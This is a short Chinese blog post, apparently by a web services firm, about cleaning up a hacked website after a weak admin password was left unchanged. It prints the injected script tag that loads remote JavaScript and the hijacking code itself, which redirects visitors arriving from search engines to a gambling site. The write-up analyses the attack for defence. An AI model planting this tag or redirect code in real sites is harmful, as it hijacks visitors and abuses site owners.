抓一個(gè)小黑客的蜘蛛劫持低端黑客活動(dòng)

發(fā)布時(shí)間：2018/10/7 16:36:57 關(guān)注：1499

抓一個(gè)小黑客的蜘蛛劫持

一個(gè)網(wǎng)站前幾天被掛了廣告代碼，經(jīng)過(guò)排查發(fā)現是交付后臺后，對方?jīng)]有修改密碼，清理了一下，今天發(fā)現還有劫持現象

用attrib命令顯示了所有可能隱藏的文件，沒(méi)有發(fā)現劫持文件，再排查發(fā)現一個(gè)文件掛上以下JS

<script language="javascript" type="text/javascript" src="http://t.cn/Rk85MEq"></script>

http://ap.uuv1.com/js/yy.js

代碼如下

if (window.name != 'ad_app6') {var r = document.referrer;r = r.toLowerCase();var aSites = new Array('google.', 'baidu.', 'soso.', 'so.', '360.', 'yahoo.', 'youdao.', 'sogou.', 'gougou.', 'anquan.', 'haosou.', 'bing.', 'sm.', 'wow.', 'souxia.', 'g363.');var b = false;for (i in aSites) {if (r.indexOf(aSites[i]) > 0) {b = true;break}}if (b) {self.location = 'http://www.yuhe.tw/';parent.window.opener.location = "http://www.yuhe.tw/";window.adworkergo = 'ad_app6'}}

判斷是不是搜索引擎來(lái)源是的話(huà) 就劫持跳轉到一個(gè)臺灣“菠菜“網(wǎng)站，一個(gè)后臺弱口令漏洞引起的小黑客搗亂，安全沒(méi)有小事情。

上一條：醫療行業(yè)網(wǎng)站制作百度搜索相關(guān)說(shuō)明

下一條：Godaddy 如何設置寫(xiě)入權限及啟用父目錄支持

互聯(lián)網(wǎng)品牌整合服務(wù)·為夢(mèng)想者創(chuàng )造夢(mèng)想品牌

致力于服務(wù)頭部企業(yè).打造標桿項目

網(wǎng)站優(yōu)化網(wǎng)站搜索排名

抓一個(gè)小黑客的蜘蛛劫持低端黑客活動(dòng)

互聯(lián)網(wǎng)品牌整合服務(wù)·為夢(mèng)想者創(chuàng )造夢(mèng)想品牌

致力于服務(wù)頭部企業(yè).打造標桿項目

網(wǎng)站優(yōu)化 網(wǎng)站搜索排名

抓一個(gè)小黑客的蜘蛛劫持 低端黑客活動(dòng)

網(wǎng)站優(yōu)化網(wǎng)站搜索排名

抓一個(gè)小黑客的蜘蛛劫持低端黑客活動(dòng)